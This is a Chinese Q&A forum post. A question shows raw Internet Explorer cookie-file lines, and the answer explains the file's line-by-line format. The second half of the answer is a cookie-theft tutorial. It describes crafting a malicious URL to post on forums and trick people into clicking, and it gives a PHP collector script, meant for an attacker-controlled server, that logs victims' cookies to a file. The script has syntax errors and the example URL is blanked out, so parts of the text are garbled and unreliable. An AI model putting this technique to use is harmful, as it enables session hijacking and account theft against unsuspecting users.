cookie文件的解密

Hm_lvt_d4718a031dae28718e866c886bd81e16
1368574828这里是个网址你不需要知道的吧/
1088
3803987456
30371789
1779801011
30298364
*
areaid
9
这里是个网址你不需要知道的吧/
1088
2209517952
30300713
1531149995
30299305
*
这个望能解答
最新回答
风清淡雅

2023-07-01 02:03:08

第1行为 Cookie 名称
第2行是 Cookie 的值
第3行是 Cookie 所属站点的地址
第4行是个标记值(注:准确来说应该是表示该Cookie是否被加密)
第5行为超时时间的低位(Cardinal/DWORD)
第6行为超时时间的高位
第7行为创建时间的低位
第8行为创建时间的高位
第9行固定为 * ,表示一节的结束
需要注意的是这里使用的时间并非 Delphi 的 TDateTime,而是 FILETIME(D里为对应的TFileTime)
一个文件可能包含有多个节,按上面的格式循环即可
多数网页编程语言都提供了对Cookie的支持。
如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:
先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。
那么如何通过代码来获取其他用户Cookie中的敏感信息?
下面进行简单的介绍。

该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。

分析并构造URL

首先打开我们要收集Cookie的网站,这里假设是登陆网站输入用户名“”(不含引号),对数据进行分析就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。

编制PHP脚本

该脚本的作用就是收集Cookie文件,具体内容如下:

$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."\n";
fclose($fp);
}